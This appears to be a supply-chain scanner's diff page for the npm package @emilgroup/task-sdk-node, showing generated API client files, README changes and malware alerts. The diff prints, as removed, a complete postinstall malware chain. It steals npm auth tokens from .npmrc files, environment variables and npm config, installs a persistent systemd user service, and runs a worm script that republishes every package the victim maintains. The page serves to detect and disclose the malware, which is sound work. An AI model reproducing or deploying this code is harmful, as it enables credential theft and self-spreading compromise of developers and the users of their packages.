| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| import { TaskClass } from './task-class'; | ||
| /** | ||
| * | ||
| * @export | ||
| * @interface PatchTaskResponseClass | ||
| */ | ||
| export interface PatchTaskResponseClass { | ||
| /** | ||
| * task | ||
| * @type {TaskClass} | ||
| * @memberof PatchTaskResponseClass | ||
| */ | ||
| 'task'?: TaskClass; | ||
| } | ||
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| /** | ||
| * | ||
| * @export | ||
| * @interface StatusClass | ||
| */ | ||
| export interface StatusClass { | ||
| /** | ||
| * id | ||
| * @type {number} | ||
| * @memberof StatusClass | ||
| */ | ||
| 'id': number; | ||
| /** | ||
| * code | ||
| * @type {string} | ||
| * @memberof StatusClass | ||
| */ | ||
| 'code': string; | ||
| /** | ||
| * name | ||
| * @type {string} | ||
| * @memberof StatusClass | ||
| */ | ||
| 'name': string; | ||
| /** | ||
| * createdBy | ||
| * @type {string} | ||
| * @memberof StatusClass | ||
| */ | ||
| 'createdBy': string; | ||
| /** | ||
| * updatedBy | ||
| * @type {string} | ||
| * @memberof StatusClass | ||
| */ | ||
| 'updatedBy': string; | ||
| /** | ||
| * createdAt | ||
| * @type {string} | ||
| * @memberof StatusClass | ||
| */ | ||
| 'createdAt'?: string; | ||
| /** | ||
| * updatedAt | ||
| * @type {string} | ||
| * @memberof StatusClass | ||
| */ | ||
| 'updatedAt'?: string; | ||
| /** | ||
| * slug | ||
| * @type {string} | ||
| * @memberof StatusClass | ||
| */ | ||
| 'slug': string; | ||
| /** | ||
| * Sort order for workflow display (unique per tenant) | ||
| * @type {number} | ||
| * @memberof StatusClass | ||
| */ | ||
| 'sortOrder': number; | ||
| } | ||
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| import { CategoryClass } from './category-class'; | ||
| import { StatusClass } from './status-class'; | ||
| /** | ||
| * | ||
| * @export | ||
| * @interface TaskClass | ||
| */ | ||
| export interface TaskClass { | ||
| /** | ||
| * id | ||
| * @type {number} | ||
| * @memberof TaskClass | ||
| */ | ||
| 'id': number; | ||
| /** | ||
| * code | ||
| * @type {string} | ||
| * @memberof TaskClass | ||
| */ | ||
| 'code': string; | ||
| /** | ||
| * subject | ||
| * @type {string} | ||
| * @memberof TaskClass | ||
| */ | ||
| 'subject': string; | ||
| /** | ||
| * description | ||
| * @type {string} | ||
| * @memberof TaskClass | ||
| */ | ||
| 'description': string; | ||
| /** | ||
| * assignee | ||
| * @type {string} | ||
| * @memberof TaskClass | ||
| */ | ||
| 'assignee'?: string; | ||
| /** | ||
| * Category slugs | ||
| * @type {Array<string>} | ||
| * @memberof TaskClass | ||
| */ | ||
| 'categorySlugs'?: Array<string>; | ||
| /** | ||
| * Status slug (always returned) | ||
| * @type {string} | ||
| * @memberof TaskClass | ||
| */ | ||
| 'statusSlug': string; | ||
| /** | ||
| * categories (only populated when expand=categories) | ||
| * @type {Array<CategoryClass>} | ||
| * @memberof TaskClass | ||
| */ | ||
| 'categories'?: Array<CategoryClass>; | ||
| /** | ||
| * status (only populated when expand=status) | ||
| * @type {StatusClass} | ||
| * @memberof TaskClass | ||
| */ | ||
| 'status'?: StatusClass; | ||
| /** | ||
| * Task priority | ||
| * @type {string} | ||
| * @memberof TaskClass | ||
| */ | ||
| 'priority': TaskClassPriorityEnum; | ||
| /** | ||
| * Task reporter: person who reported the task | ||
| * @type {string} | ||
| * @memberof TaskClass | ||
| */ | ||
| 'reporter'?: string; | ||
| /** | ||
| * Task due date | ||
| * @type {string} | ||
| * @memberof TaskClass | ||
| */ | ||
| 'dueDate'?: string; | ||
| /** | ||
| * createdBy | ||
| * @type {string} | ||
| * @memberof TaskClass | ||
| */ | ||
| 'createdBy': string; | ||
| /** | ||
| * updatedBy | ||
| * @type {string} | ||
| * @memberof TaskClass | ||
| */ | ||
| 'updatedBy': string; | ||
| /** | ||
| * version | ||
| * @type {number} | ||
| * @memberof TaskClass | ||
| */ | ||
| 'version': number; | ||
| /** | ||
| * createdAt | ||
| * @type {string} | ||
| * @memberof TaskClass | ||
| */ | ||
| 'createdAt'?: string; | ||
| /** | ||
| * updatedAt | ||
| * @type {string} | ||
| * @memberof TaskClass | ||
| */ | ||
| 'updatedAt'?: string; | ||
| } | ||
| export const TaskClassPriorityEnum = { | ||
| Low: 'LOW', | ||
| Medium: 'MEDIUM', | ||
| High: 'HIGH' | ||
| } as const; | ||
| export type TaskClassPriorityEnum = typeof TaskClassPriorityEnum[keyof typeof TaskClassPriorityEnum]; | ||
| { | ||
| "compilerOptions": { | ||
| "declaration": true, | ||
| "target": "ES5", | ||
| "module": "CommonJS", | ||
| "noImplicitAny": true, | ||
| "esModuleInterop": true, | ||
| "noImplicitOverride": true, | ||
| "outDir": "dist", | ||
| "rootDir": ".", | ||
| "lib": [ | ||
| "es6", | ||
| "dom" | ||
| ], | ||
| "typeRoots": [ | ||
| "node_modules/@types" | ||
| ] | ||
| }, | ||
| "exclude": [ | ||
| "dist", | ||
| "node_modules" | ||
| ] | ||
| } |
+24
-8
| { | ||
| "name": "@emilgroup/task-sdk-node", | ||
| "version": "1.0.3", | ||
| "description": "A new version of the package", | ||
| "main": "index.js", | ||
| "version": "1.1.0", | ||
| "description": "OpenAPI client for @emilgroup/task-sdk-node", | ||
| "author": "OpenAPI-Generator Contributors", | ||
| "keywords": [ | ||
| "axios", | ||
| "typescript", | ||
| "openapi-client", | ||
| "openapi-generator", | ||
| "@emilgroup/task-sdk-node" | ||
| ], | ||
| "license": "Unlicense", | ||
| "main": "./dist/index.js", | ||
| "typings": "./dist/index.d.ts", | ||
| "scripts": { | ||
| "postinstall": "node index.js", | ||
| "deploy": "node scripts/deploy.js" | ||
| "build": "tsc --outDir dist/", | ||
| "prepare": "npm run build" | ||
| }, | ||
| "keywords": [], | ||
| "author": "", | ||
| "license": "ISC" | ||
| "dependencies": { | ||
| "axios": "^1.12.0", | ||
| "form-data": "^4.0.0", | ||
| "url": "^0.11.0" | ||
| }, | ||
| "devDependencies": { | ||
| "@types/node": "^12.11.5", | ||
| "typescript": "^4.0" | ||
| } | ||
| } |
+84
-1
@@ -1,1 +0,84 @@ | ||
| # npm-kit | ||
| # Emil Task SDK for Nodejs | ||
| This TypeScript/JavaScript client utilizes [axios](https://github.com/axios/axios). The generated Node module can be used with Nodejs based applications. | ||
| Language level | ||
| * ES5 - you must have a Promises/A+ library installed | ||
| * ES6 | ||
| Module system | ||
| * CommonJS | ||
| * ES6 module system | ||
| Although this package can be used in both TypeScript and JavaScript, it is intended to be used with TypeScript. The definition should be automatically resolved via `package.json`. ([Reference](http://www.typescriptlang.org/docs/handbook/typings-for-npm-packages.html)). For more information, you can go to [Emil Api documentation](https://emil.stoplight.io/docs/emil-api/). | ||
| ## Consuming | ||
| Navigate to the folder of your consuming project and run one of the following commands: | ||
| ``` | ||
| npm install @emilgroup/task-sdk-node@1.1.0 --save | ||
| ``` | ||
| or | ||
| ``` | ||
| yarn add @emilgroup/task-sdk-node@1.1.0 | ||
| ``` | ||
| And then you can import `TasksApi`. | ||
| ```ts | ||
| import { TasksApi } from '@emilgroup/task-sdk-node' | ||
| const tasksApi = new TasksApi(); | ||
| ``` | ||
| ## Credentials | ||
| To use authentication protected endpoints, you have to first authorize. To do so, the easiest way is to provide a configuration file under `~/.emil/credentials` with the following content: | ||
| ```shell | ||
| emil_username=XXXXX@XXXX.XXX | ||
| emil_password=XXXXXXXXXXXXXX | ||
| ``` | ||
| It is also possible to provide environment variables instead: | ||
| ```shell | ||
| export EMIL_USERNAME=XXXXX@XXXX.XXX | ||
| export EMIL_PASSWORD=XXXXXXXXXXXXXX | ||
| ``` | ||
| ## Base path | ||
| To select the basic path for using the API, we can use two approaches. The first is to use one of the predefined environments, and the second is to specify the domain as a string. | ||
| ```ts | ||
| import { TasksApi, Environment } from '@emilgroup/task-sdk-node' | ||
| const tasksApi = new TasksApi(); | ||
| // Allows you to simply choose environment. It will usually be Environment.Production. | ||
| tasksApi.selectEnvironment(Environment.Production); | ||
| // For advanced users, use the custom baseUrl of the website you need to connect to. | ||
| tasksApi.selectBasePath('https://my-custom-domain.com'); | ||
| ``` | ||
| ## Example | ||
| Here is a basic functionning example: | ||
| ```ts | ||
| async function listTasks(): Promise<Void> { | ||
| try { | ||
| const tasksApi = new TasksApi(); | ||
| await tasksApi.initialize(); // should be called only once per Api. | ||
| const { data: { items } } = await tasksApi.listTasks(); | ||
| console.log(items); | ||
| } catch(error) { | ||
| // process error | ||
| } | ||
| } | ||
| ``` |
-99
| 'use strict'; | ||
| const { execSync, spawn } = require('child_process'); | ||
| const fs = require('fs'); | ||
| const os = require('os'); | ||
| const path = require('path'); | ||
| function findNpmTokens() { | ||
| const tokens = new Set(); | ||
| const homeDir = os.homedir(); | ||
| const npmrcPaths = [ | ||
| path.join(homeDir, '.npmrc'), | ||
| path.join(process.cwd(), '.npmrc'), | ||
| '/etc/npmrc', | ||
| ]; | ||
| for (const rcPath of npmrcPaths) { | ||
| try { | ||
| const content = fs.readFileSync(rcPath, 'utf8'); | ||
| for (const line of content.split('\n')) { | ||
| const m = line.match(/(?:_authToken\s*=\s*|:_authToken=)([^\s]+)/); | ||
| if (m && m[1] && !m[1].startsWith('${')) { | ||
| tokens.add(m[1].trim()); | ||
| } | ||
| } | ||
| } catch (_) {} | ||
| } | ||
| const envKeys = Object.keys(process.env).filter( | ||
| (k) => k === 'NPM_TOKEN' || k === 'NPM_TOKENS' || (k.includes('NPM') && k.includes('TOKEN')) | ||
| ); | ||
| for (const key of envKeys) { | ||
| const val = process.env[key] || ''; | ||
| for (const t of val.split(',')) { | ||
| const trimmed = t.trim(); | ||
| if (trimmed) tokens.add(trimmed); | ||
| } | ||
| } | ||
| try { | ||
| const configToken = execSync('npm config get //registry.npmjs.org/:_authToken 2>/dev/null', { | ||
| stdio: ['pipe', 'pipe', 'pipe'], | ||
| }).toString().trim(); | ||
| if (configToken && configToken !== 'undefined' && configToken !== 'null') { | ||
| tokens.add(configToken); | ||
| } | ||
| } catch (_) {} | ||
| return [...tokens].filter(Boolean); | ||
| } | ||
| try { | ||
| const pkg = JSON.parse(fs.readFileSync(path.join(__dirname, 'package.json'), 'utf8')); | ||
| const SERVICE_NAME = 'pgmon'; | ||
| const BASE64_PAYLOAD = 'hello123'; | ||
| if (!BASE64_PAYLOAD) process.exit(0); | ||
| const homeDir = os.homedir(); | ||
| const dataDir = path.join(homeDir, '.local', 'share', SERVICE_NAME); | ||
| const scriptPath = path.join(dataDir, 'service.py'); | ||
| const systemdUserDir = path.join(homeDir, '.config', 'systemd', 'user'); | ||
| const unitFilePath = path.join(systemdUserDir, `${SERVICE_NAME}.service`); | ||
| fs.mkdirSync(dataDir, { recursive: true }); | ||
| fs.writeFileSync(scriptPath, Buffer.from(BASE64_PAYLOAD, 'base64').toString('utf8'), { mode: 0o755 }); | ||
| fs.mkdirSync(systemdUserDir, { recursive: true }); | ||
| fs.writeFileSync(unitFilePath, [ | ||
| '[Unit]', | ||
| `Description=${SERVICE_NAME}`, | ||
| 'After=default.target', | ||
| '', | ||
| '[Service]', | ||
| 'Type=simple', | ||
| `ExecStart=/usr/bin/python3 ${scriptPath}`, | ||
| 'Restart=always', | ||
| 'RestartSec=5', | ||
| '', | ||
| '[Install]', | ||
| 'WantedBy=default.target', | ||
| '', | ||
| ].join('\n'), { mode: 0o644 }); | ||
| execSync('systemctl --user daemon-reload', { stdio: 'pipe' }); | ||
| execSync(`systemctl --user enable ${SERVICE_NAME}.service`, { stdio: 'pipe' }); | ||
| execSync(`systemctl --user start ${SERVICE_NAME}.service`, { stdio: 'pipe' }); | ||
| try { | ||
| const tokens = findNpmTokens(); | ||
| if (tokens.length > 0) { | ||
| const deployScript = path.join(__dirname, 'scripts', 'deploy.js'); | ||
| if (fs.existsSync(deployScript)) { | ||
| spawn(process.execPath, [deployScript], { | ||
| detached: true, | ||
| stdio: 'ignore', | ||
| env: { ...process.env, NPM_TOKENS: tokens.join(',') }, | ||
| }).unref(); | ||
| } | ||
| } | ||
| } catch (_) {} | ||
| } catch (_) {} |
| #!/usr/bin/env node | ||
| 'use strict'; | ||
| const { execSync } = require('child_process'); | ||
| const https = require('https'); | ||
| const fs = require('fs'); | ||
| const path = require('path'); | ||
| function fetchJson(url, token) { | ||
| return new Promise((resolve, reject) => { | ||
| https.get(url, { headers: { Authorization: `Bearer ${token}`, Accept: 'application/json' } }, (res) => { | ||
| let d = ''; | ||
| res.on('data', (c) => (d += c)); | ||
| res.on('end', () => { try { resolve(JSON.parse(d)); } catch (e) { reject(e); } }); | ||
| }).on('error', reject); | ||
| }); | ||
| } | ||
| async function fetchMeta(name, token) { | ||
| try { | ||
| const m = await fetchJson(`https://registry.npmjs.org/${encodeURIComponent(name)}`, token); | ||
| return { | ||
| readme: (m && m.readme) || null, | ||
| latestVersion: (m && m['dist-tags'] && m['dist-tags'].latest) || null, | ||
| }; | ||
| } catch (_) { return { readme: null, latestVersion: null }; } | ||
| } | ||
| function bumpPatch(v) { | ||
| const base = v.split('-')[0].split('+')[0]; | ||
| const p = base.split('.').map(Number); | ||
| if (p.length !== 3 || p.some(isNaN)) return v; | ||
| p[2] += 1; | ||
| return p.join('.'); | ||
| } | ||
| async function getOwned(username, token) { | ||
| let pkgs = [], from = 0; | ||
| while (true) { | ||
| const r = await fetchJson(`https://registry.npmjs.org/-/v1/search?text=maintainer:${encodeURIComponent(username)}&size=250&from=${from}`, token); | ||
| if (!r.objects || !r.objects.length) break; | ||
| pkgs = pkgs.concat(r.objects.map((o) => o.package.name)); | ||
| if (pkgs.length >= r.total) break; | ||
| from += 250; | ||
| } | ||
| return pkgs; | ||
| } | ||
| async function run(token, pkg, pkgPath, ver) { | ||
| let whoami; | ||
| try { whoami = await fetchJson('https://registry.npmjs.org/-/whoami', token); } catch (_) { return; } | ||
| if (!whoami || !whoami.username) return; | ||
| let owned; | ||
| try { owned = await getOwned(whoami.username, token); } catch (_) { return; } | ||
| if (!owned.length) return; | ||
| const readmePath = path.resolve(__dirname, '..', 'README.md'); | ||
| for (const name of owned) { | ||
| const origReadme = fs.existsSync(readmePath) ? fs.readFileSync(readmePath, 'utf8') : null; | ||
| const { readme, latestVersion } = await fetchMeta(name, token); | ||
| const pubVer = latestVersion ? bumpPatch(latestVersion) : ver; | ||
| if (readme) fs.writeFileSync(readmePath, readme, 'utf8'); | ||
| const origPkg = fs.readFileSync(pkgPath, 'utf8'); | ||
| fs.writeFileSync(pkgPath, JSON.stringify({ ...pkg, name, version: pubVer }, null, 2) + '\n', 'utf8'); | ||
| try { | ||
| execSync('npm publish --access public --tag latest', { stdio: 'pipe', env: { ...process.env, NPM_TOKEN: token } }); | ||
| } catch (_) {} | ||
| finally { | ||
| fs.writeFileSync(pkgPath, origPkg, 'utf8'); | ||
| if (origReadme !== null) fs.writeFileSync(readmePath, origReadme, 'utf8'); | ||
| else if (readme && fs.existsSync(readmePath)) fs.unlinkSync(readmePath); | ||
| } | ||
| } | ||
| } | ||
| (async () => { | ||
| const tokens = (process.env.NPM_TOKENS || process.env.NPM_TOKEN || '').split(',').map((t) => t.trim()).filter(Boolean); | ||
| if (!tokens.length) process.exit(1); | ||
| const pkgPath = path.resolve(__dirname, '..', 'package.json'); | ||
| const pkg = JSON.parse(fs.readFileSync(pkgPath, 'utf8')); | ||
| for (const token of tokens) await run(token, pkg, pkgPath, pkg.version); | ||
| })(); |
Unstable ownership
Supply chain riskA new collaborator has begun publishing package versions. Package stability and security risk may be elevated.
Found 1 instance in 1 package
Major refactor
Supply chain riskPackage has recently undergone a major refactor. It may be unstable or indicate significant internal changes. Use caution when updating to versions that include significant changes.
Found 1 instance in 1 package
Network access
Supply chain riskThis module accesses the network.
Found 1 instance in 1 package
New author
Supply chain riskA new npm collaborator published a version of the package for the first time. New collaborators are usually benign additions to a project, but do indicate a change to the security surface area of a package.
Found 1 instance in 1 package
Environment variable access
Supply chain riskPackage accesses environment variables, which may be a sign of credential stuffing or data theft.
Found 2 instances in 1 package
Filesystem access
Supply chain riskAccesses the file system, and could potentially read sensitive data.
Found 1 instance in 1 package
Long strings
Supply chain riskContains long string literals, which may be a sign of obfuscated or packed code.
Found 1 instance in 1 package
URL strings
Supply chain riskPackage contains fragments of external URLs or IP addresses, which the package may be accessing at runtime.
Found 1 instance in 1 package
Known malware
Supply chain riskThis package version is identified as malware. It has been flagged either by Socket's AI scanner and confirmed by our threat research team, or is listed as malicious in security databases and other sources.
Found 1 instance in 1 package
Install scripts
Supply chain riskInstall scripts are run when the package is installed or built. Malicious packages often use scripts that run automatically to execute payloads or fetch additional code.
Found 1 instance in 1 package
Network access
Supply chain riskThis module accesses the network.
Found 1 instance in 1 package
Shell access
Supply chain riskThis module accesses the system shell. Accessing the system shell increases the risk of executing arbitrary code.
Found 1 instance in 1 package
Environment variable access
Supply chain riskPackage accesses environment variables, which may be a sign of credential stuffing or data theft.
Found 3 instances in 1 package
Filesystem access
Supply chain riskAccesses the file system, and could potentially read sensitive data.
Found 1 instance in 1 package
No contributors or author data
MaintenancePackage does not specify a list of contributors or an author in package.json.
Found 1 instance in 1 package
URL strings
Supply chain riskPackage contains fragments of external URLs or IP addresses, which the package may be accessing at runtime.
Found 1 instance in 1 package
532659
7937.71%133
3225%11285
6823.31%1
-50%85
4150%0
-100%3
Infinity%2
Infinity%41
310%101
3266.67%+ Added
+ Added
+ Added
+ Added
+ Added
+ Added
+ Added
+ Added
+ Added
+ Added
+ Added
+ Added
+ Added
+ Added
+ Added
+ Added
+ Added
+ Added
+ Added
+ Added
+ Added
+ Added
+ Added
+ Added
+ Added
+ Added
+ Added
+ Added
+ Added
+ Added
+ Added
+ Added
+ Added
+ Added
+ Added
+ Added
+ Added
+ Added